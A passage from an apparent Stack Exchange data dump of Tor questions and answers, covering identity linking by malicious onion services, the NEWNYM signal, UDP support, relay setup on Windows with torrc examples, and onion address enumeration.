disconnects.&lt;/li&gt;&#xA;&lt;li&gt;The malicious onion service can reason (within some range of probability, increasing over time) that Alice and Bob are, at least, using the same Tor instance.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Another example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The malicious service ensures that one of it's HSDirs is under its control, and publishes its descriptors exclusively to this HSDir.&lt;/li&gt;&#xA;&lt;li&gt;The user fetches the HS descriptor for the malicious services HSDir, and establishes a rendezvous circuit.&lt;/li&gt;&#xA;&lt;li&gt;The user performs actions on the service as Alice.&lt;/li&gt;&#xA;&lt;li&gt;The user disconnects, and establishes a new circuit with stream isolation.&lt;/li&gt;&#xA;&lt;li&gt;The user performs actions on the service as Bob.&lt;/li&gt;&#xA;&lt;li&gt;The malicious service notes that Bob did not fetch its descriptor, and must have already known it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This second attack won't be feasible with v3 onions, it could also be combined with the first attack to serve users specific, poisoned descriptors to make it more effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In summary&lt;/strong&gt;: If you want a new identity, you need to use &lt;code&gt;NEWNYM&lt;/code&gt; (as well as ensuring you clear state from the client application, e.g. with New Identity on Tor Browser). Anything else will likely be insufficient, that is why it is there.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2018-01-05T01:07:08.687" LastActivityDate="2018-01-05T01:07:08.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16413" PostTypeId="2" ParentId="16398" CreationDate="2018-01-05T01:53:38.967" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can the server somehow learn the connection between Alice and Bob in&#xA;  1. 2. and 3. alternative?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sort answer:&lt;/strong&gt; 1. No. 2. Yes. 3. Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;NEWNYM&lt;/code&gt; signal, among some administrative code, does the following &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/main.c?id=tor-0.2.8.6#n1212&quot; rel=&quot;nofollow noreferrer&quot;&gt;3 things&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;circuit_mark_all_dirty_circs_as_unusable();&#xA;addressmap_clear_transient();&#xA;rend_client_purge_state();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;circuit_mark_all_dirty_circs_as_unusable();&lt;/code&gt; Marking circuits dirty simply ensures stream isolation for new connections. Stream isolation obviously doesn't provide any privacy benefits compared to stream isolation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this case the short answer changes to: 1. No. 2. No. 3. No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;addressmap_clear_transient();&lt;/code&gt; clears the client side DNS cache.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Clearing the client side DNS cache DOES NOT provide privacy improvement against hidden services.&lt;br&gt;&#xA;  Clearing the client side DNS cache DOES provide privacy improvement against clearnet connections.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/16404/15388&quot;&gt;Read more about it in this answer.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this case the short answer changes to: 1. No. 2. depends if hidden service 3. depends if hidden service&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rend_client_purge_state();&lt;/code&gt; clears the state of the rendezvous client.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It could be possible for an onion service to create an oracle that would allow it to link Alice and Bob if they're simply using Stream Isolation copared to if their connections were re-made after a NEWNYM signal was sent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/16412/15388&quot;&gt;Read more about it in this answer.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this case the short answer changes to: 1. No. 2. Yes. 3. Yes.&lt;/p&gt;&#xA;" OwnerUserId="15388" LastActivityDate="2018-01-05T01:53:38.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16419" PostTypeId="1" AcceptedAnswerId="16426" CreationDate="2018-01-06T12:22:19.930" Score="0" ViewCount="2485" Body="&lt;p&gt;Tor relays reject UDP packets except DNS requests. What is the technical reason behind that UDP is not routed through Tor circuit? Are there limitations with UDP protocol that it &lt;em&gt;cannot&lt;/em&gt; be routed through Tor? Is there a problem with implementation design of Tor that it cannot support UDP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is UDP being connectionless protocol a problem? If this is a problem it cannot support UDP then how DNS requests are supported?&lt;/p&gt;&#xA;" OwnerUserId="14395" LastActivityDate="2018-03-07T23:42:31.377" Title="Why Tor doesn't support UDP?" Tags="|circuit|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16421" PostTypeId="2" ParentId="9949" CreationDate="2018-01-06T16:23:35.297" Score="2" Body="&lt;p&gt;I have worked on finding &lt;strong&gt;ALL&lt;/strong&gt; Onion Addresses in TOR service and as I found, there is no clear way of finding all the Onions. Actually in the next generation of Onion Addresses, HSDirs can not see the Onion Addresses. You may see the full question &lt;a href=&quot;https://tor.stackexchange.com/questions/16131/finding-all-onion-addresses&quot;&gt;HERE&lt;/a&gt;. As &lt;a href=&quot;https://tor.stackexchange.com/users/9291/alexey-vesnin&quot;&gt;Alexey Vesnin&lt;/a&gt; said, you may get a portion of addresses not all of them, because the addresses are put inside a Distributed Hash Table. Check the TOR description on the &lt;a href=&quot;https://www.torproject.org/docs/onion-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;TOR project's page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Step two: the onion service assembles an onion service descriptor, containing its public key and a summary of each introduction point, and signs this descriptor with its private key. It uploads that descriptor to a distributed hash table. The descriptor will be found by clients requesting XYZ.onion where XYZ is a 16 character name derived from the service's public key. After this step, the onion service is set up. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Xo6ij.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xo6ij.png&quot; alt=&quot;TOR Hidden Service DHT&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I started a  project named Onion Harvester. The aim of the project is to find all Onion addresses and update the list by contribution of volunteer clients. The project main site is &lt;a href=&quot;http://onionharvester.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionHarvester.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll release the project on second week of Jan 2018, but you may visit the source and the repository and how it works. Feel free if you have any question about it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://onionharvester.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Project site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/mirsamantajbakhsh/OnionHarvester&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Github for Client&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/mirsamantajbakhsh/OnionHarvester-Server&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Github for Server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mstajbakhsh.ir/projects/onion-harvester/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Project Description in My Personal Site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2018-01-06T16:23:35.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16424" PostTypeId="1" CreationDate="2018-01-06T19:54:41.363" Score="2" ViewCount="958" Body="&lt;p&gt;Is it anonymous if I try to connect to a clearnet FTP server over Tor Browser with a username and password, assuming the username and password does not contain my identity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will it leak my IP or other information about me like BitTorrenting does?&lt;/p&gt;&#xA;" OwnerUserId="20591" LastActivityDate="2018-11-03T20:00:34.430" Title="FTP using Tor Browser Bundle" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16425" PostTypeId="2" ParentId="16424" CreationDate="2018-01-06T20:58:06.193" Score="1" Body="&lt;p&gt;No, it's safe. Keep in mind that you need to use enforced &quot;passive FTP&quot; mode because you will have only one-way connection originating from you via Tor, so both data and command streams are obliged to be inside this one connection. FTP - instead of BitTorrent - talks &lt;strong&gt;just&lt;/strong&gt; to the server it is connecting to in the way you're exactly told it to do so, and that makes it safe.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2018-01-06T20:58:06.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16426" PostTypeId="2" ParentId="16419" CreationDate="2018-01-06T21:02:30.923" Score="1" Body="&lt;p&gt;Well, DNS queries are made via TCP - Tor does &lt;strong&gt;not&lt;/strong&gt; use UDP &lt;strong&gt;at all&lt;/strong&gt;, strictly speaking. The resolving query from the exit node - yes, it &lt;em&gt;can&lt;/em&gt; be made through UDP protocol, but it's totally up to the resolver libraries and settings on the exit node's &lt;em&gt;host&lt;/em&gt; - Tor does not deal with it at all. DNS service inside Tor itself - the one you're configuring via &lt;em&gt;DNSxxxx&lt;/em&gt; directives - it's rather a stub, than something that can be called a full DNS service. And about routing UDP in Tor network - actually, there's no technical blocker to use UDP, it's just limited &quot;by design&quot; of Tor's architecture. It has it's PROs and CONs - but the limit is just an architectural one&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2018-01-06T21:02:30.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16428" PostTypeId="1" AcceptedAnswerId="16429" CreationDate="2018-01-06T21:12:04.310" Score="0" ViewCount="70" Body="&lt;p&gt;I'm working on a piece of code that will allow to me connect and pass tcp traffic through socket by implementing the TOR protocol.&#xA;I'm currently working on certs cells, and there's a node that gives me cert types of 4, 5 and 7 which are not documented in the tor spec document (only 1, 2, 3 are documented)&#xA;Anyone knows what this cert type means?&lt;/p&gt;&#xA;" OwnerUserId="20493" LastActivityDate="2018-01-06T22:40:19.103" Title="cert type 4, 5, 7 in cert cell" Tags="|torsocks|python|certificate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16429" PostTypeId="2" ParentId="16428" CreationDate="2018-01-06T22:26:10.967" Score="2" Body="&lt;p&gt;All certificates types are listed &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/cert-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, see section &quot;A.1. List of certificate types&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   [04] - Ed25519 signing key with an identity key&#xA;          (see prop220 section 4.2)&#xA;&#xA;   [05] - TLS link certificate signed with ed25519 signing key&#xA;          (see prop220 section 4.2)&#xA;&#xA;   **[07] - Reserved for RSA identity cross-certification;&#xA;          (see section 2.3 above, and tor-spec.txt section 4.2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20593" LastEditorUserId="12737" LastEditDate="2018-01-06T22:40:19.103" LastActivityDate="2018-01-06T22:40:19.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16430" PostTypeId="2" ParentId="12591" CreationDate="2018-01-07T03:48:46.817" Score="0" Body="&lt;p&gt;Sadly, Apple began it's self-desctruction from killing PowerPC's... According to &lt;a href=&quot;https://meltdownattack.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Meltdown and Spectre&lt;/a&gt; recent discoveries - they're paid well enough for it. The only way nowdays is to try to build tools from the sources - not just Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2018-01-07T03:48:46.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16431" PostTypeId="2" ParentId="16239" CreationDate="2018-01-07T03:57:24.473" Score="0" Body="&lt;p&gt;Well, using &lt;strong&gt;just&lt;/strong&gt; SOCKS it's impossible - whatever the software is applied: the reason is in the SOCKS protocol nature. It's not like HTTP proxy that works like &quot;I want to connect to &lt;a href=&quot;http://xy.z&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://xy.z&lt;/a&gt; via GET &lt;a href=&quot;http://xy.z&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://xy.z&lt;/a&gt; -&gt; Ok, here it is&quot; - it's working by providing &lt;em&gt;pipes&lt;/em&gt;, so the &quot;jailbreak scenarios&quot; can be exploited here with Auto-mapping hosts to local network - like 10.0.0.0/16, so SOCKS server will get a request like &quot;I want to connect to 10.0.11.12 port 1234&quot;, not like &quot;I want to connect to not-whitelisted-onion-service.onion port 1234&quot;. If you will not use automapping - well, it still be quite a work with an intermediate proxy to filter the URL list. But keep in mind - a jailbreak here is still possible if, for example, the whitelisted service makes some proxy-like stuff - you won't see the URL's. So - if you want to be 100% sure to allow access to your &lt;strong&gt;own&lt;/strong&gt; hidden service - use HTTPS for it with an enforced HTTPS with self-generated certificate and a SSL proxy - and on your SSL proxy drop &lt;strong&gt;any&lt;/strong&gt; traffic that is not goes through with your server's certificate(you'll have to load a copy of that cert to your SSL proxy). Only that particular solution will ensure the strictness &lt;strong&gt;and&lt;/strong&gt; won't break end-user experiences much.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2018-01-07T03:57:24.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16434" PostTypeId="2" ParentId="16385" CreationDate="2018-01-08T00:10:05.747" Score="0" Body="&lt;p&gt;I solved my answer by typing :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/init.d/tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the terminal. Apparently Tor was not restarting properly.&lt;/p&gt;&#xA;" OwnerUserId="20498" LastActivityDate="2018-01-08T00:10:05.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16441" PostTypeId="1" CreationDate="2018-01-09T11:18:02.640" Score="3" ViewCount="1902" Body="&lt;p&gt;I've looked at &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-doc-relay.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not enough detail in there for me to go ahead. E.g. ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&quot;&quot; &#xA;Tor's configuration file is named 'torrc'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locate the file on your system, open it with a text editor and add the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 443&#xA;Exitpolicy reject *:*&#xA;Nickname ididntedittheconfig&#xA;ContactInfo human@...  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;&quot;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following lines whereabouts in the file?    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running W10 with a decent HS fiber-optic connection. But I'd want to know how to set a limit on the bandwidth for the relay in case I find I need to. I note I could also do this on Windows Server. Also possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pondering being an exit node in a spot where I've yet to see one appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see a lot of threads. Can someone point me to a simple (but detailed) layman's guide to getting it done without calamity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Willing but not able.&lt;/p&gt;&#xA;" OwnerUserId="20614" LastEditorUserId="20069" LastEditDate="2018-01-30T16:51:43.307" LastActivityDate="2018-02-28T15:12:05.957" Title="Need a step by step to run a relay on Windows" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16442" PostTypeId="1" CreationDate="2018-01-09T11:54:11.603" Score="0" ViewCount="1078" Body="&lt;p&gt;OS of the Server is Windows Server 2012 R2 on Igel Computers with their own OS (think its Linux) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;09.01.2018 12:25:31.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.01.2018 12:25:31.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.01.2018 12:25:31.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.01.2018 12:25:31.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09.01.2018 12:25:31.700 [NOTICE] Renaming old configuration file to &quot;C:\Users\bleichluca2310\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;09.01.2018 12:25:32.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;09.01.2018 12:29:42.900 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host F2044413DAC2E02E3D6BCF4735A19BCA1DE97281 at 131.188.40.189:443) &#xA;09.01.2018 12:29:42.900 [WARN] 9 connections have failed: &#xA;09.01.2018 12:29:42.900 [WARN]  9 connections died in state connect()ing with SSL state (No SSL object) &#xA;09.01.2018 12:37:41.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09.01.2018 12:37:41.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.01.2018 12:37:41.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;09.01.2018 12:37:41.800 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most Programms and Websites are restricted so I dont have much room to move around (I think I have tried everything to find out my IP-Adress)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CMD is blocked too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´m not much of a pro with computers so please explain your solutions clearly &#xA;the best i accomplished so far is to install an alternate Browser and to download Tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;many thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="20617" LastEditorUserId="12737" LastEditDate="2018-01-09T21:06:44.720" LastActivityDate="2018-07-12T20:53:54.693" Title="can´t connect to Tor while using school computer" Tags="|configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16443" PostTypeId="2" ParentId="16441" CreationDate="2018-01-09T13:19:12.357" Score="5" Body="&lt;p&gt;You're running Windows. Not many people try to run relays on Windows, so the process isn't as well documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[If you, future reader, are running Linux, then this guide (&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&lt;/a&gt;) is shaping up to be amazing. Hopefully it doesn't move. Do not read any more of this post on tor.stackexchange.org and go read the guide on trac.torproject.org. This post is for Windows users only, not you.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the &quot;expert bundle&quot; &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extract it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find tor.exe. In the same folder as it, create a file named &lt;code&gt;torrc&lt;/code&gt; (it must not have a file extension. Confusingly, Windows hides file extensions by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that &lt;code&gt;torrc&lt;/code&gt;, you MUST set the following option in order to be any kind of relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ORPort 9001&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use something other than 9001, like 443. 443 is common because it allows more clients to use your relay as a guard, but it requires root/admin privileges to bind to it. 9001 is a common port that doesn't require special privileges. It doesn't really matter what port you use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You SHOULD set your &lt;code&gt;Nickname&lt;/code&gt; and &lt;code&gt;ContactInfo&lt;/code&gt;. Note that your contact info will be public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be a non-exit you need to set &lt;code&gt;ExitRelay 0&lt;/code&gt; (another common way to disable being an exit is with &lt;code&gt;ExitPolicy reject *:*&lt;/code&gt;). If you want to be an exit relay, read &lt;a href=&quot;https://blog.torproject.org/tips-running-exit-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/tips-running-exit-node&lt;/a&gt;, especially the reduced exit policy part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you are running a non-exit, you'll have four lines in your torrc. It doesn't matter the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You SHOULD also add a &lt;code&gt;Log&lt;/code&gt; line so that you can keep tabs on your relay. A good place to put the log file is Tor's data directory. You MAY specify the absolute path for clarity. So I might use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Log notice file C:\Users\pastly\Desktop\tor-win32-0.3.1.9\Data\Tor\notice.log&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the Tor manual (&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;) for more options you can set. Generally the default are best. Don't mess with something you don't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will be interested in &lt;code&gt;RelayBandwidthRate&lt;/code&gt; and &lt;code&gt;RelayBandwidthBurst&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have issues &lt;strong&gt;read Tor's output for clues&lt;/strong&gt;. Once you have a log file working, &lt;strong&gt;read it and share it if you need more help&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for considering running a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must stay on top of your relay and keep it up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: I don't run Windows. I'm working from memory.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My final non-exit torrc would look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 9001&#xA;ContactInfo pastly@tpo&#xA;NickName MyNewRelay&#xA;ExitRelay 0&#xA;Log notice file C:\Users\pastly\Desktop\tor-win32-0.3.1.9\Data\Tor\notice.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I wanted to run an exit relay, it would look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 9001&#xA;ContactInfo pastly@tpo&#xA;NickName MyNewRelay&#xA;ExitRelay 1&#xA;Log notice file C:\Users\pastly\Desktop\tor-win32-0.3.1.9\Data\Tor\notice.log&#xA;ExitPolicy accept *:80&#xA;ExitPolicy accept *:443&#xA;[... many more ExitPolicy lines based on my desired exit policy ...]&#xA;[... the order of ExitPolicy lines does matter: first match wins ...]&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Relays contribute the most when they run 24/7. Please do so if you can. Ideally you'd have Tor start automatically on start up and run in the background. I am unfortunately unable to help with that. But a general Internet search for &quot;how to run console program on startup in background on windows&quot; would be a good place to start.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastEditorUserId="20069" LastEditDate="2018-02-28T15:12:05.957" LastActivityDate="2018-02-28T15:12:05.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16445" PostTypeId="1" AcceptedAnswerId="16449" CreationDate="2018-01-09T18:19:39.010" Score="0" ViewCount="78" Body="&lt;p&gt;is it possible for an exit node operator to reroute traffic through the tor network, despite all the disadvantages?  What effect would that have anonymity and finally what would happen if the software directs some of the traffic to exit through that very node?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastActivityDate="2018-01-09T21:04:52.557" Title="is it possible for an exit node operator to reroute traffic through the tor network?" Tags="|exit-relays|exit-policies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16446" PostTypeId="1" CreationDate="2018-01-09T19:45:25.480" Score="0" ViewCount="549" Body="&lt;p&gt;I was reading about search engines and i have seen that google for example is crawling and expending it's indexes by finding new links inside of the current websites he is scanning at the time.&#xA;So my question is, how does Tor do that? &#xA;How can you find websites that doesn't have any links pointing to it?&#xA;How does Tor locates websites that are made especially to be hidden?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any sources or even better a simple detailed answer for me it would be truly great&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;" OwnerUserId="20621" LastEditorUserId="20621" LastEditDate="2018-01-10T21:08:49.787" LastActivityDate="2018-01-10T21:08:49.787" Title="How does Tor browser find hidden websites" Tags="|tor-browser-bundle|onion-services|onion-routing|browsers|onioncat|" AnswerCount="1" CommentCount="1" ClosedDate="2018-01-10T19:28:44.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="16447" PostTypeId="2" ParentId="12916" CreationDate="2018-01-09T19:56:47.363" Score="1" Body="&lt;p&gt;Try using: &lt;code&gt;gpg --keyserver pool.sks-keyservers.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&lt;/code&gt; instead.  The server at &lt;code&gt;keys.gnupg.net&lt;/code&gt; no longer exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the new command should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;gpg --keyserver pool.sks-keyservers.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="20622" LastActivityDate="2018-01-09T19:56:47.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16448" PostTypeId="2" ParentId="16446" CreationDate="2018-01-09T21:01:19.497" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So my question is, how does Tor do that?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can you find websites that doesn't have any links pointing to it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At best, either brute-force guessing or some information leak outside of links from another web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how much unguessable information is in the link, this could be infeasible.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-09T21:01:19.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16449" PostTypeId="2" ParentId="16445" CreationDate="2018-01-09T21:04:52.557" Score="1" Body="&lt;p&gt;It's a lot of wasted time, it's easily detectable and would likely be flagged as malicious and get any such relay ejected from the Tor network for it's efforts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might result in easier deanonymization, as is always the case in Tor-over-Tor. The resulting paths might overlap resulting in it using a single relay or relays within the same family as both entry and exit giving a single entity the ability to deanonymize the user, a situation that Tor takes steps to avoid when constructing it's own paths. It would have no control over the second path and so relays might be used more than once in the same path.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-09T21:04:52.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16451" PostTypeId="2" ParentId="15963" CreationDate="2018-01-09T23:19:16.677" Score="0" Body="&lt;p&gt;I have tested this kind of thing successfully before in Linux.  First of all, I'd suggest isolating the Tor and VPN applications to avoid the issue that cacahuatl mentions, at least for initial testing.  This is also addressed in the link that I provide below.  In other words, you can run Tor on one (virtual/physical) machine with two Ethernet interfaces #1 and #2. The WAN is connected to iface #1, and the SOCKS server runs on iface #2.  The second machine runs TUN2SOCKS and OpenVPN, and sends SOCKS traffic from its iface #3 to iface #2.  A fourth interface iface #4 can be used to route traffic from a third machine through the VPN.  You'll have to set up the various routing tables and enable IPV4 forwarding in sysctl for the VPN system (for forwarding traffic from iface #4 to the VPN).  Here is a tutorial on using TUN2SOCKS with Tor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ambrop72/badvpn/wiki/Tun2socks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ambrop72/badvpn/wiki/Tun2socks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to go one better, then Tor connects via a bridge, and iface #1 connects to the 